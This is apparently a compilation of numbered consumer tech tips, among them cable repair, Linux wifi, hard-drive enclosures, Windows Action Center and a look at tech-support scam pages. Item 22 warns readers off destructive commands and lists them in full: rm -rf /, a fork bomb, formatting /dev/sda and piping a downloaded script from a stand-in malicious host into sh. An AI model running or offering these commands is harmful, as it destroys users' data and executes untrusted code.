  19. Quick And Simple Way To Prevent Laptop Power Cords Fraying I come across a lot of laptops with frayed power cords that are expensive to replace. Prevention is better than cure. Here's how to prevent the problem happening in the first place. As a MacBook owner, I've grown accustom to the fact that it won't be long before the cable on the power cord starts to fray, and once that's happened, it's only a matter of time before I'm giving Apple another $80 for a charger. Well, prevention is better than cure, so I've been taking steps to prevent the problem from happening, rather than dealing with it once it's started. And don't worry, this isn't specific to the MacBook - this will work on all brands of laptop power cords. This also works for smartphone or laptop power cables. I know, because I've tested this on the weakest of the weak charger cables - the Apple Lightning cable. I've been experimenting with a number of techniques over the past few months, and the best one I've come up with needs only two things: a pack of Sugru and a couple of small cable ties. Not heard of Sugru? It's a mouldable adhesive made of polysiloxane (silicone caulk) and talc. It sets into a durable, waterproof silicone rubber in about 24 hours, and it's stable between -50°C (-58°F) to +180°C (356°F). Here's what I do: Step - 1: Here's the laptop charger, the Sugru, the cable ties, and a pair of snips for cutting the cable ties. Step - 2: Next, I put a plastic tie at both ends of the cable (because I'm giving the Sugru treatment to both the connector end and the power brick end). It doesn't have to be super-tight, but you do need to be able to snip the tail off the cable tie as close to the lock as possible. The purpose of the cable tie is to give the Sugru something to grip onto. It does work without this, but I've found that this gives a more durable fix. Step - 3: Here's the Sugru. I'm using black because that's what I had. It does make a bit of a mess, so if you want to be tidy I suggest using white. Step - 4: Now you just start molding it over the cable and the existing strain relief. If you're thinking of doing this on a new power cord, I actually suggest you wait a few months because you'll find that the cable usually takes on a particular bend or twist, and then you can mold the Sugru to follow these bends. This, believe it or not, makes the fix stronger. And yes, I know my molding is messy. I never was any good at crafts. Step - 5: See how the Surgu molding at the connector end has a bend in it? I'm following what seems to be the way the cable wants to bend. Source
  20. Fix WiFi Not Connecting In Linux Mint 18 And Ubuntu 16.04 Problem description I experienced this strange issue in Ubuntu 16.04 and Linux Mint 18. When I tried to connect to wifi, I clicked on the available wireless networks, entered the correct wifi password. A few seconds later, I was still not connected to the internet. I thought it may be that I entered an incorrect password. So, I tried to connect again. This time typing the password slowly and then I double checked it to make sure that the password was correct. But no, it won’t connect to the internet. This was frustrating as my wifi password is 26 characters long. Reason I went to the network settings to find out what was wrong with it. I noticed that my wifi password was not stored which could be normal as I was not asked if I wanted to connect to the network automatically. I manually entered the wifi password and saved it in the network settings in an effort to not have to enter the long passwords again. What surprised me that it just got connected to the internet after that. I don’t know exactly what made it work but it worked. I haven’t looked to find if it is a bug in this version of the network manager or not but I experienced the same issue after installing Linux Mint 18. And using this trick again saved me. Steps to fix wifi not connecting despite correct password in Linux Mint 18 and Ubuntu 16.04 Basically, all you need to do here is: go to Network Settings choose the network you are trying to connect to under the security tab, enter the wifi password manually save it This trick has worked for me repeatedly, both in Ubuntu and Linux Mint. I hope that it works for you too. Since I am using Linux Mint 18 right now, I am going to share screenshots so that it would help beginners to fix this issue. Step 1: Go to Network Settings: Step 2: Choose the network you are trying to connect to. Note that it already provides a configuration option because I tried to connect to it earlier. Step 3: Under the security tab, enter the wifi password manually and click on apply to save it: You’ll see that your network is now connected: I hope this helps you. Note that this article deals with the problem when the wireless network is working fine in your system but it cannot connect to the access point despite correct password. I suggest this article if there is no wireless network in Ubuntu or Linux Mint. Have you already encountered the same wireless connection issue in Ubuntu 16.04 or Linux Mint 18? If yes, how did you fix it? Source
  21. Notepad is the simplest text editor provided by Microsoft in every version of Windows. It is helpful when we want to create a quick note. The files created by Notepad are saved in .txt format which is supported by every text editor. So, the files created by Notepad are compatible to open, edit and modify everywhere. People generally consider Notepad simpler than what it is. But readers, Notepad is light-weight text-editor but saying it “simpler” would be wrong because it can open many unknown extensions files and Notepad itself hold many amazing commands, tricks and hacks to make it more productive for you. Today, 10 amazing Notepad Tricks & Hacks that you can use to get most out of Notepad and amaze your friends. 10 Super Cool Notepad Tricks, Hacks & Commands
  22. Here Are 9 Dangerous Linux Commands You Should Never Execute On Any Computer These 9 Linux commands if executed can wreak irreparable damage to any computer Most Linux commands are generally useful, but they are not the ones that are the subject matter of today. Here, we list down a total of 9 Linux commands that can wreak havoc to any computer that you use, and that can get you into a lot of trouble. rm -rf The command rm -rf / deletes everything, and that includes files on your hard drive and files on connected removable media devices. : () {: |: &} ;: :(){ :|: & };: is also known as Fork Bomb to people who possess accurate knowledge of it. It is a denial-of-service attack against a Linux System and continues to repeat itself until the system freezes. command> / dev / sda This Linux command writes raw data and all files on the block will be replaced with raw data, resulting in total loss of data in that block. mv directory / dev / null This command sends all your personal files into a black hole, which pretty much means that they will be lost to you forever. wget http: // malicious_source -O | sh The above line downloads a script from the web and sends it to sh, which executes the contents of the script. It’s always dangerous if you are running untrusted scripts, so avoid this at all costs. Mkfs.ext3 / dev / sda This will leave the hard drive without any recoverable data, thus leaving your system into an unrecoverable stage. > File This command is used to release the file content. If the above command is executed with a typing error or ignorance as ‘> xt.conf’ will write the configuration file or any other system or configuration file. ^foo^bar Not as harmful as the rest of them, but this command is used to edit the previous run command without the need of retyping the whole command again. In the wrong situation, it can become extremely harmful if you didn’t take the risk of thoroughly checking the change in original command using ^foo^bar command. Decompression Bomb When you’re asked to open a comprised file, the contents of the file contain highly compressed data. Once the file is decompressed, hundreds of GB of data is extracted which can fill up your hard drive to bring down the performance of your system so avoid this no matter what happens. Now that you are familiar with the latest Linux commands, you will do very well to avoid them. Source
  23. How to Turn an Old Hard Drive Into an External Drive So you’ve upgraded the hard drive in your computer, and you’re left with this old, seemingly useless bare hard drive. Don’t throw it away! It takes surprisingly little effort to turn an old (or new) hard drive into an external drive perfect for stashing your extra files on. Let’s look at how you can blow the dust off those old drives and save money in the process. Why Roll Your Own External Drive? You can, if you wish, head down to your local big box electronics store or favorite e-retailers, like Amazon or Newegg, and pick up an external drive at a seemingly decent price. But what seems to be a value on the surface isn’t always so. Not only is there no good reason to pay the hard drive company a premium to slap their drive in an enclosure on your behalf, there’s actually more than a few benefits to rolling your own external hard drive setup. First, if you already have a drive on hand, it’s extremely cheap to use it as an external drive, since the biggest cost (the drive) is already sunk and the smallest cost (the enclosure) is trivial by comparison. Even if you don’t consider yourself much of a hardware geek, there’s a good chance you have a few (or more) hard drives sitting around (we’ve got bunches sitting in drawers). Second, you get control over the drive quality and specifications. It’s a not so hush-hush secret in the hardware industry that external hard drive units rarely get premium drives, and even if you like the company you’re purchasing your off-the-shelf external drive unit from, that doesn’t mean you’ll be getting the cream-of-the-crop drive design from them in the process. If you use an old hard drive of your own or even purchase a new bare internal drive for this project, you’ll know exactly what you’re getting. Third, if you have a drive with data on it that you wish to retrieve, you can easily use your external enclosure to mount the hard drive and retrieve it. Yes, you could mount the drive internally on your desktop computer, but it’s a bit more time consuming, and can be impossible on some machines. And, on most laptop computers, it’s impossible to add an additional internal drive. (Although, if you’re only interested in a one-and-done data pull from the hard drive and have no intention of using it as an external drive, you might find the cable and techniques we use in this article to be more helpful.) Lastly, you’ll get more long term value out of rolling your own external drive since any drive can be used within the enclosure. When you purchase an off-the-shelf external drive, the enclosure is mated to its drive (sometimes even literally soldered together). You can’t just crack open that Western Digital MyBook and throw any old drive in there, but with a third-party external drive enclosure, you can. So when you want to upgrade your external drive, all you have to do is swap out the drive inside–instead of buying a completely new product. With all that in mind, let’s look at drive selection considerations, enclosure selection considerations, and finally how it all comes together. Selecting Your Drive Whether you’re picking through a pile of old drives gathering dust on your office shelf or you’re considering buying a new one for the task, there are a few things to keep in mind. We’d suggest reading over this section twice. Once to help you decide which drive you’ll use, and then again to jot down the relevant specifications of that drive before moving onto the next section of the guide focused on purchasing your enclosure. Drive Health This is your primary consideration when reusing an old hard drive: drive health. Obviously if you pulled the old drive from a machine because it was having serious issues like a clicking drive head or other problem, then you shouldn’t even consider using it as an external hard drive. Even if your drive isn’t having problems, you should absolutely check the SMART settings–a process akin to checking the hard drive’s health history. If it turns out the drive has a a bunch of red flags, like thousands of bad sectors, you should consider using a different spare drive or purchasing a new one for the enclosure. Drive Form Factor Hard drives come in two sizes. Mechanical hard drives and mechanical/SSD hybrids meant for desktop computers have a 3.5″ form factor, and are about the size of a modest paperback novel. They’re bigger than laptop-sized drives, but they’re also cheaper for how much storage you can fit. They also require an external power source, which means you’ll need to plug your resulting external drive into the wall. Exercise caution when coming between the mother drive and cub drive. SSDs and laptop-sized mechanical drives come in a 2.5″ form factor. The benefit of using a 2.5″ drive, as you’d expect, is the size–2.5″ drives are about the size of a smartphone. Further, most 2.5″ enclosures do not require external power, so they just have one cable: the one that plugs into your computer. No wall outlet or bulky transformer plug required. The downside to using a laptop size drive is that 2.5″ form factor drives are usually lower capacity (or very much pricier if higher capacity), and unlike 3.5″ drives that have a set height, 2.5″ drives can be 7mm, 9.5mm, and 12.5mm tall. Drive Speed and Capacity Since you’ll probably be plugging your drive in via USB, the drive speed won’t make a huge difference in terms of performance. Technically higher RPM drives will have a slight advantage over USB 3.0 connections (especially for seeking and writing tons of small files) but for most people the difference is likely negligible when all real world factors are included–like variables introduced by file sizes, how many devices are hooked up to each USB root on your computer, and so on. Drive speed is certainly a factor in terms of wear and tear on the drive, however, since faster drives generate more heat. If you’re surveying your drive pile or doing some shopping, you’ll extend the life of your drive by opting for a hard drive with a slow rotational speed (like 5,400 RPM) and skipping over drives with higher rotational speeds (like 7,200 and 10,000 RPM). If the drive is used infrequently, like you just fire it up to backup files once a month, the drive speed distinction (and the subsequent heat) is a moot point. If you intend to use the drive continuously, opt for a slower drive. Now, on the matter of drive capacity, there’s only one real limitation to be aware of. Older USB 2.0 enclosures don’t have the hardware/firmware to support larger drives so be aware that it’s best to pair a large drive (2TB+) with a newer enclosure. Drive Interface We saved this consideration for last because, for most people, it’s not even much of a consideration at all anymore. Hard drives are connected to a computer’s internals via either a PATA or an SATA connection type. PATA connections (also known as IDE) dominated the hard drive market from the mid 1980s well until around 2005 or so, and had a wide connector type that resembled a printer cable, seen below in the image above–note the very large molex-style power adapter at the far right. SATA, introduced in 2003, is now the dominate connection type and features a very skinny L-shaped port, seen above the PATA hard drive above. The data is transferred in the larger L-shaped connection point and the power in transferred in the small L-shaped connection point. Chances are, you have a SATA drive unless it’s a very old drive (or a newer drive used in a very old computer). But check your drive and compare it to the above image before you go looking for an enclosure. Selecting Your Enclosure Once you’ve identified the relevant elements of your hard drive, it’s time to pick out a compatible enclosure. While external hard drive enclosures tend to be pretty simple, there are a handful of considerations we recommend you keep in mind while shopping. Although our goal is to educate you as a consumer so you can select just the right enclosure for your needs, we won’t leave you hanging–through this section we’re including links to specific enclosures we recommend. Internal Interface And Drive Size We left off in the last section talking about drive interfaces. When shopping for an external hard drive enclosure, the first consideration is that you pick an enclosure whose interface matches your drive’s interface and size. Have a 2.5″ laptop hard drive with a SATA interface? You want a 2.5″ SATA enclosure. Have an old 3.5″ desktop drive with a PATA interface? You’ll want a 3.5″ enclosure that supports PATA/IDE. Finally, those of you purchasing enclosures for a 2.5″ laptop drive should be extra aware of the aforementioned drive height issue. Check the fine print on your enclosure to see if the drive enclosure accommodates 12.5mm height drives, 9.5mm height drives, 7mm height drives, or all/some of the above. Fortunately, 12.5mm drives are pretty rare, and nearly every 2.5″ enclosure works with 9.5mm and 7mm height drives. External Interface Second in importance is matching the external interfaces. Do you want to connect your enclosure via USB 3.0? FireWire? An eSATA port (which is very fast, but not available on many computers)? In the photo above you can see a variety of common interface types: on the left we have a 2.5″ enclosure with a micro-B connector, in the center we have a beefy metal USB 2.0 case (that we totally bought to match our Wii and store our games) that has a USB 2.0 type-B connection, and finally a newer 3.5″ enclosure on the right that sports a USB 3.0 type-B connection. Note that both the 3.5 drives have a power port–as we noted above it takes extra juice to run desktop size drives. Above all else, carefully check the specs of the enclosure you’re purchasing to ensure you’re getting exactly what you need–that cheap enclosure might seem like a great deal until you realize it’s so cheap because it’s only USB 2.0. Enclosure Material Hard drive enclosures come in two materials: plastic and metal. For infrequent and short duration usage, the material the enclosure is made out of doesn’t really matter. But for external drives that will see a lot of use (especially if you intend to leave them on all day), a metal body construction that turns the enclosure into a big heatsink for the hard drive is a must have. Heat is the enemy of all electronics and any little bit you can do to keep your hard drive cool is worth it. The photo in the previous section highlights this decision making mentality. The big white enclosure we bought for our Wii is a giant hunk of aluminum that does a fantastic job dissipating heat during long gaming sessions. For short backup sessions, the plastic bodies of the other two enclosures doesn’t really matter much in terms of heat retention/dissipation. Finally, we’d encourage you to skip wasting the money on “ruggedized” hard drive enclosures. You end up paying a premium for a rubber bumper or a little extra protection inside the enclosure case. And in reality, what are the chances you’re going to throw your drive on the floor in the first place? Rather than pay extra for a ruggedized drive, just search Amazon for a padded drive case to put the drive in before you toss it in your backpack or briefcase. You can find hundreds of simple padded cases for all drive sizes for less than ten bucks, like this $8 padded case. The Alternative: Docks and Tethers There’s a special place in every geek’s hardware arsenal for a hard drive dock or tethering cable, and it would be remiss of us not to mention it. While a proper enclosure is great for long term use, sometimes you just want to pop drives in an out for a quick read or copy. Better yet, nice docks also support multiple hard drive sizes and often include features like one-touch copying if you want to clone the drive. In such cases, who wants to deal with taking apart the hard drive enclosure to replace the drive? With a cable tether you just plug it right in and with a dock you can stick the drive in like dropping a piece of toast into a toaster. What these solutions lack in drive protection (they generally don’t enclose the circuit board on the bottom or shield the drive in anyway) they make up for in speed of use and ease of drive changing. The Bottom Line At the end of the day, don’t be afraid to spend the extra few dollars for better features because time is money. The difference between one company’s old USB 2.0 model with outdated features and their newer improved model with a USB 3.0 connection, support for large disks, and more, is almost always $5-10 (if that). When in doubt, just buy the newest model and don’t fall into the trap of saying to yourself “Well these look identical but this one is $3 cheaper…” You’ll hate yourself for skimping on the $3 when dumping all your movie files to the external drive takes an extra three hours. Putting It All Together With the work of learning about the ins and outs of external hard drives and purchasing the right enclosure behind you, the rest is easy peasy. If you have a tool-free or toolless enclosure, you literally just have to snap the case open (like opening the battery compartment on an electronic device) and slide the hard drive in. In the photo above you can see two toolless enclosures–thanks to the compact design of the SATA data and power connections, you can literally snap these enclosures open, slide the drive in until it clicks into place, and then snap the cover back on. Boom. Done. If your enclosure has screws, there are typically two that hold the case together and–just like the hard drive cage in your computer–four screws to mount the drive. At most, you’ll need a Philips screw driver and an extra sixty seconds of time to install the drive. Finally, we’ll save you a bit of panic. If you purchased a new bare drive for this project, when you plug the enclosure into your computer for the first time, you’ll see… nothing. The drive isn’t formatted yet, so your OS will ignore it until you do something. In such cases you’ll need to allocate and format the disk with Windows Disk Manager, use the Disk Utility in OS X, or use a tool like Gparted in Linux. After that, the drive should show up just like any other drive. Now that old disk isn’t gathering dust, you saved more than a few bucks in the process, and you’ve got an enclosure that will outlive the hard drive you slapped in it. Source
  24. Tech support scams coming as phishing pages that contain fake alerts urging you to call for immediate assistance are common place these days. We collect hundreds of such URLs each day and have observed countless tricks to fool users. In this post we examine a couple of sneaky techniques targeting Google Chrome users. The fake address bar This is an interesting one because for years we have been telling people to double check the URL in the address bar to know if a website is really what it claims to be. When this scam page loads it runs in full-screen mode and prevents the user from easily closing it with an infinite loop of alerts. Now take a look at the address bar. For all intents and purposes it does look like the legitimate Microsoft website, although the ‘ru-ru’ (Russia) portion of the URL is a fail in an otherwise clever design. (There are other bits of Russian here and there in the source code, which perhaps link to the original author?). Let’s have a look under the hood to find out exactly how they are pulling this one. We notice that the address bar is nothing but a JPEG picture that is placed at the right spot to look like an actual address bar when the page is loaded in full-screen mode. To make matters more confusing this particular scam is hosted on Amazon, and that is the correct address bar. The fake alert dialog A nifty feature in Google Chrome is the “Prevent this page from displaying additional dialogs” option particularly useful when certain websites ask you “Are you sure you want to leave this page?” followed by “Are you really, truly sure you want to do it?” and some. Tech support scams have similar alert windows except we found some that are completely made up. Putting a checkmark and clicking OK actually produces the opposite result of what you’d expect, to keep you more frustrated and ready to throw your computer out the window. We almost missed that one for a real alert dialog, except that they got the spelling wrong (at least in American English) and typically a ‘dialogue’ is a conversation between people, nothing to do with a ‘dialog box’. Below is the real dialog from Google Chrome: Note the additional trick that the scammers added though: “Press ESC, to close this page!” A couple of things wrong with this: first, the grammar is incorrect as you would not put a comma in the middle of that sentence. Also, this is not a Google notification. Only the Prevent message and the OK buttons are legit. The ruse is to have people press the escape key instead of placing a check mark and clicking OK, leading to another round of fake alerts and more frustration. It’s safe to say that browser-based tech support scams are not going anywhere any time soon. Sadly, most browsers are brought to their knees with simple bits of JavaScript and non savvy users will simply give up and call the toll free number for assistance (we forgot to mention that all this while a very annoying audio track plays in the background). Call centres located in India (for the most part) are receiving thousands of calls each day from desperate victims prime to be defrauded of hundreds of dollars by rogue operators playing the Microsoft technician game. Spotting those scams isn’t always easy though and that is why it’s important to expose them to show their inner workings. To learn more about tech support scams and consult our blacklist of known offenders, please check out our resource page here. Article source
  25. Hide or disable Action Center on Windows 10 Find out how to hide the Action Center icon in Windows 10's taskbar, or to disable the Action Center on Windows 10 devices completely. The Windows 10 Action Center is a central location that collects notifications and gives users control over certain features of the operating system. It is very similar to the notification system on mobile devices that inform users about new events and offer toggles to turn features like WiFi or Mobile Data on or off. The Action Center on Windows 10 is hidden by default. Microsoft made the decision to place an icon on the Windows Taskbar, or more precisely the System Tray area of it, in the Anniversary Update of Windows 10. The icon, placed on the right of the system clock, indicates the number of notifications that require user attention, and acts as a gateway to the Action Center. Hide the Action Center icon in Windows 10 The Action Center has its uses, certainly. It enables you to control features like wireless or network connections, tablet mode, or Bluetooth with two clicks. While some of the features may be useful on desktop computers as well, most are probably more useful on mobile devices. The notifications are mostly reminders to turn features on, or that an automated process completed (updates were installed, Windows Defender completed a scan). I consider these information irrelevant for the most part, but it depends on how you are using the computer. Microsoft added some controls to Windows 10 that allow you to hide certain quick actions displayed by the Action Center. That's useful, but only if you do use it and want to streamline what is displayed by the Action Center when you open it. You can manage quick actions in the following way: Use the keyboard shortcut Window-I to open the Settings application on the device. Navigate to System > Notifications & Actions. You may drag and drop quick actions around to bring them in a different order. Click on "add or remove quick actions" to hide some in the Action Center. If you don't use the Action Center on your Windows 10 PC, you may want to consider removing it from the taskbar to free up room and move the system clock to its rightful place. If you don't need the Action Center icon, you may hide it in the following way: Step 1: Right-click on the taskbar and select Settings from the context menu You may also get there in another way. Use the keyboard shortcut Windows-I to open the Settings application. Navigate to Personalization > Taskbar when it opens. Step 2: Click on "Turn System icons on or off" when the Settings app opens Step 3: Locate Action Center on the next screen, and switch it to off Doing so removes the Action Center icon immediately. Please note that this does not disable the Action Center itself. You may still open it at any time using the keyboard shortcut Windows-A. Disable the Windows 10 Action Center If you don't require the Action Center at all, you may disable it completely as well. You may turn off the Action Center using the Group Policy Editor or the Windows Registry. The former is only included in professional versions of Windows 10 officially. Disable the Action Center using the Group Policy Editor The following guide walks you through the steps of turning off the Action Center in Windows 10 using the Group Policy Editor. Step 1: Tap on the Windows-key, type gpedit.msc, and hit enter. This launches the Group Policy Editor on the system. Step 2: Use the tree hierarchy on the left to navigate to User > Administrative Templates > Start Menu and Taskbar. Step 3: Find "Remove notifications and Action Center", and double-click on the policy. If the listing is not sorted alphabetically, click on the "setting" header to do so. This makes it easier to location the policy. Step 4: Switch the state of the policy to Enabled to disable notifications and the Action Center. Click on ok to complete the process. Tip: Use the shortcut Windows-A to verify that the Action Center is disabled. If it is not launched when you use the shortcut, it is turned off. Disable the Action Center using the Registry Editor You may use the Registry Editor for the operation as well. This is especially useful to Windows 10 Home users who don't get the Group Policy Editor by default. Step 1: Tap on the Windows-key, type regedit.exe and hit enter. Confirm the UAC prompt that appears. Step 2: Use the tree hierarchy on the left to navigate to the following key: HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Explorer Step 3: Check on the right if the key DisableNotificationCenter exists. If it does, skip ahead to step 5. Step 4: Right-click on Explorer and select New > Dword (32-bit) Value. Name it DisableNotificationCenter. Step 5: Double-click on DisableNotificationCenter, and set its value to 1. Step 6: Restart the computer. Closing Words The Windows 10 Action Center has its uses. It can be useful if you need to toggle certain features on or off quickly for instance, or find some of the notifications useful that it displays. It is probably more useful if you use a mobile device, and less useful if you work on a desktop PC. Now You: What's your take on the Action Center? Source
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